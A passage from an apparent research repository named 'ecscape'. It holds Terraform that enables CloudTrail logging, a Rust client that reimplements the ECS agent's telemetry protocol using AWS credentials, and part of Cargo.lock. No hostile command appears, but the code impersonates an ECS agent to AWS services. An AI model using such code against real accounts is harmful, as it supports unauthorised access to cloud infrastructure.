"arn:aws:logs:${var.aws_region}:${data.aws_caller_identity.current.account_id}:log-group:/aws/cloudtrail/ecscape*" 467 | } 468 | ] 469 | }) 470 | } 471 | 472 | # CloudTrail itself 473 | resource "aws_cloudtrail" "ecscape_trail" { 474 | name = "ecscape-trail" 475 | s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.bucket 476 | 477 | # Log to CloudWatch Logs 478 | cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.cloudtrail_logs.arn}:*" 479 | cloud_watch_logs_role_arn = aws_iam_role.cloudtrail_role.arn 480 | 481 | # Log data events for S3 482 | event_selector { 483 | read_write_type = "All" 484 | include_management_events = true 485 | exclude_management_event_sources = [] 486 | 487 | # Log S3 data events 488 | data_resource { 489 | type = "AWS::S3::Object" 490 | values = ["${aws_s3_bucket.s3_bucket.arn}/*"] 491 | } 492 | } 493 | 494 | depends_on = [aws_s3_bucket_policy.cloudtrail_bucket_policy] 495 | } 496 | 497 | -------------------------------------------------------------------------------- /src/protocols/tcs/handler.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use async_trait::async_trait; 3 | use aws_credential_types::Credentials; 4 | use aws_sdk_ecs::operation::discover_poll_endpoint::DiscoverPollEndpointOutput; 5 | use sysinfo::{Disks, System}; 6 | use tokio::{select, time}; 7 | use tokio_tungstenite::tungstenite::http::Request; 8 | use tracing::{debug, error, info, warn}; 9 | 10 | use crate::protocols::{ 11 | protocol_client::ProtocolClient, 12 | protocol_handler::ProtocolHandler, 13 | request_builder::RequestBuilder, 14 | tcs::{ 15 | request_builder::TCSRequestBuilder, 16 | structs::{ 17 | HealthMetadata, InstanceMetrics, InstanceStatusMetadata, InstanceStorageMetrics, 18 | MetricsMetadata, PublishHealthRequestStruct, PublishInstanceStatusRequestStruct, 19 | PublishMetricsRequestStruct, TCSMessage, 20 | }, 21 | }, 22 | }; 23 | 24 | pub struct TCSHandler { 25 | request_builder: TCSRequestBuilder, 26 | credentials: Credentials, 27 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 28 | region: String, 29 | cluster_arn: String, 30 | container_instance_arn: String, 31 | agent_version: String, 32 | agent_hash: String, 33 | } 34 | 35 | impl TCSHandler { 36 | pub fn new( 37 | credentials: Credentials, 38 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 39 | region: String, 40 | cluster_arn: String, 41 | container_instance_arn: String, 42 | agent_version: String, 43 | agent_hash: String, 44 | ) -> Self { 45 | Self { 46 | request_builder: TCSRequestBuilder::new(), 47 | credentials, 48 | discover_poll_endpoint_output, 49 | region, 50 | cluster_arn, 51 | container_instance_arn, 52 | agent_version, 53 | agent_hash, 54 | } 55 | } 56 | 57 | async fn handle_message( 58 | &self, 59 | _client: &mut ProtocolClient, 60 | message: TCSMessage, 61 | ) -> Result<()> { 62 | match message { 63 | TCSMessage::HeartbeatMessage(msg) => { 64 | info!("Processing TCS HeartbeatMessage: {:?}", msg); 65 | // TCS HeartbeatMessage doesn't have a message_id and doesn't require acknowledgment 66 | // We just log that we received it - this indicates the connection is healthy 67 | debug!("TCS heartbeat received, connection is healthy"); 68 | } 69 | 70 | TCSMessage::AckPublishMetric(msg) => { 71 | info!("Received AckPublishMetric from TCS: {:?}", msg); 72 | } 73 | 74 | TCSMessage::AckPublishHealth(msg) => { 75 | info!("Received AckPublishHealth from TCS: {:?}", msg); 76 | } 77 | 78 | TCSMessage::AckPublishInstanceStatus(msg) => { 79 | info!("Received AckPublishInstanceStatus from TCS: {:?}", msg); 80 | } 81 | 82 | TCSMessage::StopTelemetrySessionMessage(msg) => { 83 | warn!( 84 | "Received StopTelemetrySessionMessage from TCS: message={:?}", 85 | msg 86 | ); 87 | return Err(anyhow::anyhow!( 88 | "TCS requested to stop telemetry session: {:?}", 89 | msg.message 90 | )); 91 | } 92 | 93 | // These are messages we send, not messages we should respond to 94 | TCSMessage::PublishMetricsRequest(_) 95 | | TCSMessage::PublishHealthRequest(_) 96 | | TCSMessage::PublishInstanceStatusRequest(_) 97 | | TCSMessage::StartTelemetrySessionRequest(_) => { 98 | debug!("Received outbound message - no action needed"); 99 | } 100 | 101 | TCSMessage::ServerException(msg) => { 102 | warn!( 103 | "Received ServerException from TCS: message={:?}", 104 | msg.message 105 | ); 106 | return Err(anyhow::anyhow!("TCS server exception: {:?}", msg.message)); 107 | } 108 | 109 | TCSMessage::BadRequestException(msg) => { 110 | warn!( 111 | "Received BadRequestException from TCS: message={:?}", 112 | msg.message 113 | ); 114 | return Err(anyhow::anyhow!("TCS bad request: {:?}", msg.message)); 115 | } 116 | 117 | TCSMessage::ResourceValidationException(msg) => { 118 | warn!( 119 | "Received ResourceValidationException from TCS: message={:?}", 120 | msg.message 121 | ); 122 | return Err(anyhow::anyhow!( 123 | "TCS resource validation error: {:?}", 124 | msg.message 125 | )); 126 | } 127 | 128 | TCSMessage::InvalidParameterException(msg) => { 129 | warn!( 130 | "Received InvalidParameterException from TCS: message={:?}", 131 | msg.message 132 | ); 133 | return Err(anyhow::anyhow!("TCS invalid parameter: {:?}", msg.message)); 134 | } 135 | 136 | TCSMessage::ErrorMessage(msg) => { 137 | warn!("Received ErrorMessage from TCS: {:?}", msg); 138 | return Err(anyhow::anyhow!("TCS error: {:?}", msg.message)); 139 | } 140 | } 141 | 142 | Ok(()) 143 | } 144 | 145 | async fn publish_metrics(&self, client: &mut ProtocolClient) -> Result<()> { 146 | let timestamp = std::time::SystemTime::now() 147 | .duration_since(std::time::UNIX_EPOCH) 148 | .unwrap() 149 | .as_secs() as i64; 150 | 151 | // Get real system metrics using sysinfo directly 152 | let mut system = System::new_all(); 153 | system.refresh_all(); 154 | 155 | // Get filesystem usage as a percentage (0.0 to 100.0) 156 | let mut root_usage = 0.0; 157 | let mut data_usage = 0.0; 158 | 159 | let disks = Disks::new_with_refreshed_list(); 160 | 161 | for disk in &disks { 162 | let mount_point = disk.mount_point().to_string_lossy(); 163 | let total_space = disk.total_space(); 164 | let available_space = disk.available_space(); 165 | 166 | if total_space > 0 { 167 | let used_space = total_space - available_space; 168 | let usage_percent = (used_space as f64 / total_space as f64) * 100.0; 169 | 170 | // Map mount points to usage types 171 | if mount_point == "/" { 172 | root_usage = usage_percent; 173 | } else if mount_point.contains("/data") || mount_point.contains("/var/lib/docker") { 174 | data_usage = usage_percent; 175 | } else if root_usage == 0.0 { 176 | // If we haven't found root yet, use the first significant disk 177 | root_usage = usage_percent; 178 | } 179 | } 180 | } 181 | 182 | // If we only found one filesystem, use it for both 183 | if data_usage == 0.0 && root_usage > 0.0 { 184 | data_usage = root_usage; 185 | } 186 | 187 | // Get CPU and memory usage 188 | let cpu_usage = system.global_cpu_usage() as f64; 189 | let total_memory = system.total_memory(); 190 | let used_memory = system.used_memory(); 191 | let memory_usage = if total_memory > 0 { 192 | (used_memory as f64 / total_memory as f64) * 100.0 193 | } else { 194 | 0.0 195 | }; 196 | 197 | // Check if the system appears to be idle (low resource usage) 198 | let is_idle = cpu_usage < 5.0 && memory_usage < 50.0; 199 | 200 | // Create instance storage metrics with real data 201 | let instance_storage_metrics = InstanceStorageMetrics { 202 | data_filesystem: Some(data_usage), 203 | root_filesystem: Some(root_usage), 204 | }; 205 | 206 | let instance_metrics = InstanceMetrics { 207 | storage: Some(instance_storage_metrics), 208 | }; 209 | 210 | let metadata = MetricsMetadata { 211 | cluster: Some(self.cluster_arn.clone()), 212 | container_instance: Some(self.container_instance_arn.clone()), 213 | fin: Some(is_idle), // Set fin=true for idle instances (Go agent pattern) 214 | idle: Some(is_idle), 215 | message_id: Some(uuid::Uuid::new_v4().to_string()), 216 | }; 217 | 218 | let publish_request = if is_idle { 219 | // For idle instances, Go agent sends minimal request with no task metrics 220 | // and no instance metrics (following filterInstanceMetrics logic) 221 | PublishMetricsRequestStruct { 222 | instance_metrics: None, 223 | metadata: Some(metadata), 224 | task_metrics: None, 225 | timestamp: Some(timestamp), 226 | } 227 | } else { 228 | // For active instances, include instance metrics 229 | PublishMetricsRequestStruct { 230 | instance_metrics: Some(instance_metrics), 231 | metadata: Some(metadata), 232 | task_metrics: None, // TODO: Collect actual task metrics 233 | timestamp: Some(timestamp), 234 | } 235 | }; 236 | 237 | let message = TCSMessage::PublishMetricsRequest(publish_request); 238 | 239 | // Debug: Log the message being sent 240 | debug!( 241 | "Sending TCS metrics message: {:?}", 242 | serde_json::to_string(&message).unwrap_or_else(|_| "Failed to serialize".to_string()) 243 | ); 244 | 245 | client.send(&message).await?; 246 | 247 | debug!( 248 | "Published metrics to TCS (idle: {}, CPU: {:.1}%, Memory: {:.1}%, Root FS: {:.1}%, Data FS: {:.1}%)", 249 | is_idle, cpu_usage, memory_usage, root_usage, data_usage 250 | ); 251 | Ok(()) 252 | } 253 | 254 | async fn publish_health(&self, client: &mut ProtocolClient) -> Result<()> { 255 | let timestamp = std::time::SystemTime::now() 256 | .duration_since(std::time::UNIX_EPOCH) 257 | .unwrap() 258 | .as_secs() as i64; 259 | 260 | let metadata = HealthMetadata { 261 | cluster: Some(self.cluster_arn.clone()), 262 | container_instance: Some(self.container_instance_arn.clone()), 263 | fin: Some(true), // Always true for health messages (Go agent pattern) 264 | message_id: Some(uuid::Uuid::new_v4().to_string()), 265 | }; 266 | 267 | let publish_request = PublishHealthRequestStruct { 268 | metadata: Some(metadata), 269 | tasks: None, // Placeholder - should collect actual task health 270 | timestamp: Some(timestamp), 271 | }; 272 | 273 | let message = TCSMessage::PublishHealthRequest(publish_request); 274 | 275 | // Debug: Log the message being sent 276 | debug!( 277 | "Sending TCS health message: {:?}", 278 | serde_json::to_string(&message).unwrap_or_else(|_| "Failed to serialize".to_string()) 279 | ); 280 | 281 | client.send(&message).await?; 282 | 283 | debug!("Published health to TCS"); 284 | Ok(()) 285 | } 286 | 287 | async fn publish_instance_status(&self, client: &mut ProtocolClient) -> Result<()> { 288 | let timestamp = std::time::SystemTime::now() 289 | .duration_since(std::time::UNIX_EPOCH) 290 | .unwrap() 291 | .as_secs() as i64; 292 | 293 | let metadata = InstanceStatusMetadata { 294 | cluster: Some(self.cluster_arn.clone()), 295 | container_instance: Some(self.container_instance_arn.clone()), 296 | request_id: Some(uuid::Uuid::new_v4().to_string()), 297 | }; 298 | 299 | let publish_request = PublishInstanceStatusRequestStruct { 300 | metadata: Some(metadata), 301 | statuses: None, // Placeholder - should collect actual instance status 302 | timestamp: Some(timestamp), 303 | }; 304 | 305 | let message = TCSMessage::PublishInstanceStatusRequest(publish_request); 306 | 307 | // Debug: Log the message being sent 308 | debug!( 309 | "Sending TCS instance status message: {:?}", 310 | serde_json::to_string(&message).unwrap_or_else(|_| "Failed to serialize".to_string()) 311 | ); 312 | 313 | client.send(&message).await?; 314 | 315 | debug!("Published instance status to TCS"); 316 | Ok(()) 317 | } 318 | } 319 | 320 | #[async_trait] 321 | impl ProtocolHandler for TCSHandler { 322 | fn build_request(&self) -> Result> { 323 | self.request_builder.build_request( 324 | self.credentials.clone(), 325 | self.discover_poll_endpoint_output.clone(), 326 | &self.region, 327 | &self.cluster_arn, 328 | &self.container_instance_arn, 329 | &self.agent_version, 330 | &self.agent_hash, 331 | ) 332 | } 333 | 334 | async fn start_inner(&self, mut client: ProtocolClient) -> Result<()> { 335 | // Constants matching the real ECS agent intervals 336 | const METRICS_PUBLISH_INTERVAL: time::Duration = time::Duration::from_secs(20); // DefaultContainerMetricsPublishInterval = 20s 337 | const HEALTH_PUBLISH_INTERVAL: time::Duration = time::Duration::from_secs(20); // Health is published with same frequency as metrics 338 | const INSTANCE_STATUS_PUBLISH_INTERVAL: time::Duration = time::Duration::from_secs(60); // Instance status less frequent 339 | 340 | info!("TCS connection established, starting periodic telemetry publishing"); 341 | 342 | // Create intervals for different types of telemetry 343 | // Note: The Go agent uses channels and only publishes when there's actual data 344 | // For now, we'll use timers but with longer intervals when idle 345 | let mut metrics_interval = time::interval(METRICS_PUBLISH_INTERVAL); 346 | let mut health_interval = time::interval(HEALTH_PUBLISH_INTERVAL); 347 | let mut status_interval = time::interval(INSTANCE_STATUS_PUBLISH_INTERVAL); 348 | 349 | // Skip the first tick to avoid immediate publishing 350 | metrics_interval.tick().await; 351 | health_interval.tick().await; 352 | status_interval.tick().await; 353 | 354 | loop { 355 | select! { 356 | // Handle incoming messages 357 | incoming = client.receive() => { 358 | match incoming { 359 | Ok(Some(message)) => { 360 | if let Err(err) = self.handle_message(&mut client, message).await { 361 | warn!("Failed to handle message: {:?}", err); 362 | return Err(err); 363 | } 364 | } 365 | Ok(None) => { 366 | warn!("WebSocket connection closed by peer"); 367 | return Err(anyhow::anyhow!("WebSocket connection closed")); 368 | } 369 | Err(err) => { 370 | error!("Failed to receive message: {:?}", err); 371 | return Err(err); 372 | } 373 | } 374 | } 375 | 376 | // Publish metrics periodically 377 | _ = metrics_interval.tick() => { 378 | if let Err(err) = self.publish_metrics(&mut client).await { 379 | warn!("Failed to publish metrics: {:?}", err); 380 | return Err(err); 381 | } 382 | } 383 | 384 | // Publish health periodically 385 | _ = health_interval.tick() => { 386 | if let Err(err) = self.publish_health(&mut client).await { 387 | warn!("Failed to publish health: {:?}", err); 388 | return Err(err); 389 | } 390 | } 391 | 392 | // Publish instance status periodically 393 | _ = status_interval.tick() => { 394 | if let Err(err) = self.publish_instance_status(&mut client).await { 395 | warn!("Failed to publish instance status: {:?}", err); 396 | return Err(err); 397 | } 398 | } 399 | } 400 | } 401 | } 402 | } 403 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "addr2line" 7 | version = "0.24.2" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" 10 | dependencies = [ 11 | "gimli", 12 | ] 13 | 14 | [[package]] 15 | name = "adler2" 16 | version = "2.0.1" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" 19 | 20 | [[package]] 21 | name = "aho-corasick" 22 | version = "1.1.3" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" 25 | dependencies = [ 26 | "memchr", 27 | ] 28 | 29 | [[package]] 30 | name = "allocator-api2" 31 | version = "0.2.21" 32 | source = "registry+https://github.com/rust-lang/crates.io-index" 33 | checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" 34 | 35 | [[package]] 36 | name = "android-tzdata" 37 | version = "0.1.1" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" 40 | 41 | [[package]] 42 | name = "android_system_properties" 43 | version = "0.1.5" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" 46 | dependencies = [ 47 | "libc", 48 | ] 49 | 50 | [[package]] 51 | name = "anstream" 52 | version = "0.6.19" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "301af1932e46185686725e0fad2f8f2aa7da69dd70bf6ecc44d6b703844a3933" 55 | dependencies = [ 56 | "anstyle", 57 | "anstyle-parse", 58 | "anstyle-query", 59 | "anstyle-wincon", 60 | "colorchoice", 61 | "is_terminal_polyfill", 62 | "utf8parse", 63 | ] 64 | 65 | [[package]] 66 | name = "anstyle" 67 | version = "1.0.11" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd" 70 | 71 | [[package]] 72 | name = "anstyle-parse" 73 | version = "0.2.7" 74 | source = "registry+https://github.com/rust-lang/crates.io-index" 75 | checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" 76 | dependencies = [ 77 | "utf8parse", 78 | ] 79 | 80 | [[package]] 81 | name = "anstyle-query" 82 | version = "1.1.3" 83 | source = "registry+https://github.com/rust-lang/crates.io-index" 84 | checksum = "6c8bdeb6047d8983be085bab0ba1472e6dc604e7041dbf6fcd5e71523014fae9" 85 | dependencies = [ 86 | "windows-sys 0.59.0", 87 | ] 88 | 89 | [[package]] 90 | name = "anstyle-wincon" 91 | version = "3.0.9" 92 | source = "registry+https://github.com/rust-lang/crates.io-index" 93 | checksum = "403f75924867bb1033c59fbf0797484329750cfbe3c4325cd33127941fabc882" 94 | dependencies = [ 95 | "anstyle", 96 | "once_cell_polyfill", 97 | "windows-sys 0.59.0", 98 | ] 99 | 100 | [[package]] 101 | name = "anyhow" 102 | version = "1.0.98" 103 | source = "registry+https://github.com/rust-lang/crates.io-index" 104 | checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" 105 | 106 | [[package]] 107 | name = "async-trait" 108 | version = "0.1.88" 109 | source = "registry+https://github.com/rust-lang/crates.io-index" 110 | checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5" 111 | dependencies = [ 112 | "proc-macro2", 113 | "quote", 114 | "syn", 115 | ] 116 | 117 | [[package]] 118 | name = "atomic-waker" 119 | version = "1.1.2" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" 122 | 123 | [[package]] 124 | name = "autocfg" 125 | version = "1.5.0" 126 | source = "registry+https://github.com/rust-lang/crates.io-index" 127 | checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" 128 | 129 | [[package]] 130 | name = "aws-credential-types" 131 | version = "1.2.4" 132 | source = "registry+https://github.com/rust-lang/crates.io-index" 133 | checksum = "b68c2194a190e1efc999612792e25b1ab3abfefe4306494efaaabc25933c0cbe" 134 | dependencies = [ 135 | "aws-smithy-async", 136 | "aws-smithy-runtime-api", 137 | "aws-smithy-types", 138 | "zeroize", 139 | ] 140 | 141 | [[package]] 142 | name = "aws-lc-rs" 143 | version = "1.13.3" 144 | source = "registry+https://github.com/rust-lang/crates.io-index" 145 | checksum = "5c953fe1ba023e6b7730c0d4b031d06f267f23a46167dcbd40316644b10a17ba" 146 | dependencies = [ 147 | "aws-lc-sys", 148 | "zeroize", 149 | ] 150 | 151 | [[package]] 152 | name = "aws-lc-sys" 153 | version = "0.30.0" 154 | source = "registry+https://github.com/rust-lang/crates.io-index" 155 | checksum = "dbfd150b5dbdb988bcc8fb1fe787eb6b7ee6180ca24da683b61ea5405f3d43ff" 156 | dependencies = [ 157 | "bindgen", 158 | "cc", 159 | "cmake", 160 | "dunce", 161 | "fs_extra", 162 | ] 163 | 164 | [[package]] 165 | name = "aws-runtime" 166 | version = "1.5.9" 167 | source = "registry+https://github.com/rust-lang/crates.io-index" 168 | checksum = "b2090e664216c78e766b6bac10fe74d2f451c02441d43484cd76ac9a295075f7" 169 | dependencies = [ 170 | "aws-credential-types", 171 | "aws-sigv4", 172 | "aws-smithy-async", 173 | "aws-smithy-eventstream", 174 | "aws-smithy-http", 175 | "aws-smithy-runtime", 176 | "aws-smithy-runtime-api", 177 | "aws-smithy-types", 178 | "aws-types", 179 | "bytes", 180 | "fastrand", 181 | "http 0.2.12", 182 | "http-body 0.4.6", 183 | "percent-encoding", 184 | "pin-project-lite", 185 | "tracing", 186 | "uuid", 187 | ] 188 | 189 | [[package]] 190 | name = "aws-sdk-ecs" 191 | version = "1.91.0" 192 | source = "registry+https://github.com/rust-lang/crates.io-index" 193 | checksum = "34163a23ad87d125d80aadfc87bf95259034423355ca5eaa6f2b99fef1b537c5" 194 | dependencies = [ 195 | "aws-credential-types", 196 | "aws-runtime", 197 | "aws-smithy-async", 198 | "aws-smithy-http", 199 | "aws-smithy-json", 200 | "aws-smithy-runtime", 201 | "aws-smithy-runtime-api", 202 | "aws-smithy-types", 203 | "aws-types", 204 | "bytes", 205 | "fastrand", 206 | "http 0.2.12", 207 | "regex-lite", 208 | "tracing", 209 | ] 210 | 211 | [[package]] 212 | name = "aws-sdk-s3" 213 | version = "1.100.0" 214 | source = "registry+https://github.com/rust-lang/crates.io-index" 215 | checksum = "8c5eafbdcd898114b839ba68ac628e31c4cfc3e11dfca38dc1b2de2f35bb6270" 216 | dependencies = [ 217 | "aws-credential-types", 218 | "aws-runtime", 219 | "aws-sigv4", 220 | "aws-smithy-async", 221 | "aws-smithy-checksums", 222 | "aws-smithy-eventstream", 223 | "aws-smithy-http", 224 | "aws-smithy-json", 225 | "aws-smithy-runtime", 226 | "aws-smithy-runtime-api", 227 | "aws-smithy-types", 228 | "aws-smithy-xml", 229 | "aws-types", 230 | "bytes", 231 | "fastrand", 232 | "hex", 233 | "hmac", 234 | "http 0.2.12", 235 | "http 1.3.1", 236 | "http-body 0.4.6", 237 | "lru", 238 | "percent-encoding", 239 | "regex-lite", 240 | "sha2", 241 | "tracing", 242 | "url", 243 | ] 244 | 245 | [[package]] 246 | name = "aws-sdk-secretsmanager" 247 | version = "1.82.0" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "210dda7303a8531f5c403a4b9e32617ae5cd0dc9ce35efe068bc5297e4f2083d" 250 | dependencies = [ 251 | "aws-credential-types", 252 | "aws-runtime", 253 | "aws-smithy-async", 254 | "aws-smithy-http", 255 | "aws-smithy-json", 256 | "aws-smithy-runtime", 257 | "aws-smithy-runtime-api", 258 | "aws-smithy-types", 259 | "aws-types", 260 | "bytes", 261 | "fastrand", 262 | "http 0.2.12", 263 | "regex-lite", 264 | "tracing", 265 | ] 266 | 267 | [[package]] 268 | name = "aws-sigv4" 269 | version = "1.3.3" 270 | source = "registry+https://github.com/rust-lang/crates.io-index" 271 | checksum = "ddfb9021f581b71870a17eac25b52335b82211cdc092e02b6876b2bcefa61666" 272 | dependencies = [ 273 | "aws-credential-types", 274 | "aws-smithy-eventstream", 275 | "aws-smithy-http", 276 | "aws-smithy-runtime-api", 277 | "aws-smithy-types", 278 | "bytes", 279 | "crypto-bigint 0.5.5", 280 | "form_urlencoded", 281 | "hex", 282 | "hmac", 283 | "http 0.2.12", 284 | "http 1.3.1", 285 | "p256", 286 | "percent-encoding", 287 | "ring", 288 | "sha2", 289 | "subtle", 290 | "time", 291 | "tracing", 292 | "zeroize", 293 | ] 294 | 295 | [[package]] 296 | name = "aws-smithy-async" 297 | version = "1.2.5" 298 | source = "registry+https://github.com/rust-lang/crates.io-index" 299 | checksum = "1e190749ea56f8c42bf15dd76c65e14f8f765233e6df9b0506d9d934ebef867c" 300 | dependencies = [ 301 | "futures-util", 302 | "pin-project-lite", 303 | "tokio", 304 | ] 305 | 306 | [[package]] 307 | name = "aws-smithy-checksums" 308 | version = "0.63.5" 309 | source = "registry+https://github.com/rust-lang/crates.io-index" 310 | checksum = "5ab9472f7a8ec259ddb5681d2ef1cb1cf16c0411890063e67cdc7b62562cc496" 311 | dependencies = [ 312 | "aws-smithy-http", 313 | "aws-smithy-types", 314 | "bytes", 315 | "crc-fast", 316 | "hex", 317 | "http 0.2.12", 318 | "http-body 0.4.6", 319 | "md-5", 320 | "pin-project-lite", 321 | "sha1", 322 | "sha2", 323 | "tracing", 324 | ] 325 | 326 | [[package]] 327 | name = "aws-smithy-eventstream" 328 | version = "0.60.10" 329 | source = "registry+https://github.com/rust-lang/crates.io-index" 330 | checksum = "604c7aec361252b8f1c871a7641d5e0ba3a7f5a586e51b66bc9510a5519594d9" 331 | dependencies = [ 332 | "aws-smithy-types", 333 | "bytes", 334 | "crc32fast", 335 | ] 336 | 337 | [[package]] 338 | name = "aws-smithy-http" 339 | version = "0.62.2" 340 | source = "registry+https://github.com/rust-lang/crates.io-index" 341 | checksum = "43c82ba4cab184ea61f6edaafc1072aad3c2a17dcf4c0fce19ac5694b90d8b5f" 342 | dependencies = [ 343 | "aws-smithy-eventstream", 344 | "aws-smithy-runtime-api", 345 | "aws-smithy-types", 346 | "bytes", 347 | "bytes-utils", 348 | "futures-core", 349 | "http 0.2.12", 350 | "http 1.3.1", 351 | "http-body 0.4.6", 352 | "percent-encoding", 353 | "pin-project-lite", 354 | "pin-utils", 355 | "tracing", 356 | ] 357 | 358 | [[package]] 359 | name = "aws-smithy-http-client" 360 | version = "1.0.6" 361 | source = "registry+https://github.com/rust-lang/crates.io-index" 362 | checksum = "f108f1ca850f3feef3009bdcc977be201bca9a91058864d9de0684e64514bee0" 363 | dependencies = [ 364 | "aws-smithy-async", 365 | "aws-smithy-runtime-api", 366 | "aws-smithy-types", 367 | "h2 0.3.27", 368 | "h2 0.4.11", 369 | "http 0.2.12", 370 | "http 1.3.1", 371 | "http-body 0.4.6", 372 | "hyper 0.14.32", 373 | "hyper 1.6.0", 374 | "hyper-rustls 0.24.2", 375 | "hyper-rustls 0.27.7", 376 | "hyper-util", 377 | "pin-project-lite", 378 | "rustls 0.21.12", 379 | "rustls 0.23.30", 380 | "rustls-native-certs 0.8.1", 381 | "rustls-pki-types", 382 | "tokio", 383 | "tower", 384 | "tracing", 385 | ] 386 | 387 | [[package]] 388 | name = "aws-smithy-json" 389 | version = "0.61.4" 390 | source = "registry+https://github.com/rust-lang/crates.io-index" 391 | checksum = "a16e040799d29c17412943bdbf488fd75db04112d0c0d4b9290bacf5ae0014b9" 392 | dependencies = [ 393 | "aws-smithy-types", 394 | ] 395 | 396 | [[package]] 397 | name = "aws-smithy-observability" 398 | version = "0.1.3" 399 | source = "registry+https://github.com/rust-lang/crates.io-index" 400 | checksum = "9364d5989ac4dd918e5cc4c4bdcc61c9be17dcd2586ea7f69e348fc7c6cab393" 401 | dependencies = [ 402 | "aws-smithy-runtime-api", 403 | ] 404 | 405 | [[package]] 406 | name = "aws-smithy-runtime" 407 | version = "1.8.5" 408 | source = "registry+https://github.com/rust-lang/crates.io-index" 409 | checksum = "660f70d9d8af6876b4c9aa8dcb0dbaf0f89b04ee9a4455bea1b4ba03b15f26f6" 410 | dependencies = [ 411 | "aws-smithy-async", 412 | "aws-smithy-http", 413 | "aws-smithy-http-client", 414 | "aws-smithy-observability", 415 | "aws-smithy-runtime-api", 416 | "aws-smithy-types", 417 | "bytes", 418 | "fastrand", 419 | "http 0.2.12", 420 | "http 1.3.1", 421 | "http-body 0.4.6", 422 | "http-body 1.0.1", 423 | "pin-project-lite", 424 | "pin-utils", 425 | "tokio", 426 | "tracing", 427 | ] 428 | 429 | [[package]] 430 | name = "aws-smithy-runtime-api" 431 | version = "1.8.5" 432 | source = "registry+https://github.com/rust-lang/crates.io-index" 433 | checksum = "937a49ecf061895fca4a6dd8e864208ed9be7546c0527d04bc07d502ec5fba1c" 434 | dependencies = [ 435 | "aws-smithy-async", 436 | "aws-smithy-types", 437 | "bytes", 438 | "http 0.2.12", 439 | "http 1.3.1", 440 | "pin-project-lite", 441 | "tokio", 442 | "tracing", 443 | "zeroize", 444 | ] 445 | 446 | [[package]] 447 | name = "aws-smithy-types" 448 | version = "1.3.2" 449 | source = "registry+https://github.com/rust-lang/crates.io-index" 450 | checksum = "d498595448e43de7f4296b7b7a18a8a02c61ec9349128c80a368f7c3b4ab11a8" 451 | dependencies = [ 452 | "base64-simd", 453 | "bytes", 454 | "bytes-utils", 455 | "futures-core", 456 | "http 0.2.12", 457 | "http 1.3.1", 458 | "http-body 0.4.6", 459 | "http-body 1.0.1", 460 | "http-body-util", 461 | "itoa", 462 | "num-integer", 463 | "pin-project-lite", 464 | "pin-utils", 465 | "ryu", 466 | "serde", 467 | "time", 468 | "tokio", 469 | "tokio-util", 470 | ] 471 | 472 | [[package]] 473 | name = "aws-smithy-xml" 474 | version = "0.60.10" 475 | source = "registry+https://github.com/rust-lang/crates.io-index" 476 | checksum = "3db87b96cb1b16c024980f133968d52882ca0daaee3a086c6decc500f6c99728" 477 | dependencies = [ 478 | "xmlparser", 479 | ] 480 | 481 | [[package]] 482 | name = "aws-types" 483 | version = "1.3.8" 484 | source = "registry+https://github.com/rust-lang/crates.io-index" 485 | checksum = "b069d19bf01e46298eaedd7c6f283fe565a59263e53eebec945f3e6398f42390" 486 | dependencies = [ 487 | "aws-credential-types", 488 | "aws-smithy-async", 489 | "aws-smithy-runtime-api", 490 | "aws-smithy-types", 491 | "rustc_version", 492 | "tracing", 493 | ] 494 | 495 | [[package]] 496 | name = "backtrace" 497 | version = "0.3.75" 498 | source = "registry+https://github.com/rust-lang/crates.io-index" 499 | checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002" 500 | dependencies = [ 501 | "addr2line", 502 | "cfg-if", 503 | "libc", 504 | "miniz_oxide", 505 | "object", 506 | "rustc-demangle", 507 | "windows-targets 0.52.6", 508 | ] 509 | 510 | [[package]] 511 | name = "base16ct" 512 | version = "0.1.1" 513 | source = "registry+https://github.com/rust-lang/crates.io-index" 514 | checksum = "349a06037c7bf932dd7e7d1f653678b2038b9ad46a74102f1fc7bd7872678cce" 515 | 516 | [[package]] 517 | name = "base64" 518 | version = "0.21.7" 519 | source = "registry+https://github.com/rust-lang/crates.io-index" 520 | checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" 521 | 522 | [[package]] 523 | name = "base64" 524 | version = "0.22.1" 525 | source = "registry+https://github.com/rust-lang/crates.io-index" 526 | checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" 527 | 528 | [[package]] 529 | name = "base64-simd" 530 | version = "0.8.0" 531 | source = "registry+https://github.com/rust-lang/crates.io-index" 532 | 